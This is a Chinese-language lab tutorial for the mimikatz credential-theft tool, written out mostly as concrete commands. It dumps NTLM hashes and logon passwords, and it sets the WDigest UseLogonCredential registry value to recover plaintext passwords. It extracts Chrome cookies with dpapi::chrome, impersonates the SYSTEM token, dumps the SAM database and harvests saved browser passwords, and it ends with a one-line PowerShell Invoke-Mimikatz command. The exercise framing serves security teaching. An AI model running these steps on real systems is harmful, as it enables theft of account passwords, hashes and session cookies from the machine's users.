mimikatz猕猴桃工具使用教程
实验目标:
1.使用mimikatz提取chrome中保存的cookie
2.使用mimikatz的token模块中的命令列出token,模仿system用户token,最后恢复到原来的token
3.使用webbrowserpassview和Get-ChromeCreds.ps1获取chrome保存的密码
实验步骤:
1. mimikatz基本使用
以管理员运行后,可以随机打一些字符,进入如下界面
输入aaa::aaa,可展示所有模块:
可采用log命令,保存日志
2. 获取hash与明文用户口令
privilege::debug sekurlsa::logonPasswords
从 Windows 8.1 和 Windows Server 2012 R2 开始,LM 哈希和“纯文本”密码将不在内存中生成,早期版本的Windows 7/8/2008 R2/2012 需要打 kb2871997 补丁。
这里只抓取到了NTLM
尝试破解1-CMD5
尝试破解2-ophcrack
修改注册表,启用摘要密码支持
需要创建UseLogonCredential,并赋值为1
HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSecurityProvidersWDigest “UseLogonCredential”(DWORD)
重新登录后,再次运行
3. 使用mimikatz提取chrome中保存的cookie
首先把chrome保存cookie的文件拷贝到桌面上方便操作,这个文件在 C:users360secappdatalocalgooglechromeuser datadefaultcookies 命令行下拷贝的命令是: Copy C:users360secappdatalocalgooglechromeuser datadefaultcookies c:users360secdesktop
打开桌面上的mimikatz_trunk文件夹,进入x64文件夹,打开mimikatz.exe
输入dpapi::chrome /in:c:users360secdesktopcookies /unprotect提取cookie
4. 使用mimikatz的token模块中的命令列出token,模仿system用户token,最后恢复到原来的token
进入mimikatz文件夹,右键mimikatz.exe,选择以管理员身份运行
使用privilege::debug获取debug权限
使用token::elevate模仿system用户的令牌
使用token::list列出令牌
使用 lsadump::sam来获取sam数据库中的密码
使用token::revert恢复令牌
5. 使用webbrowserpassview获取chrome保存的密码
打开桌面上的webbrowserpassview文件夹
打开webbrowserpassview.exe
6. 使用Powershell版Mimikatz
一句话执行
powershell Import-Module .Invoke-Mimikatz.ps1;Invoke-Mimikatz -Command "privilege::debug" "sekurlsa::logonPasswords full"
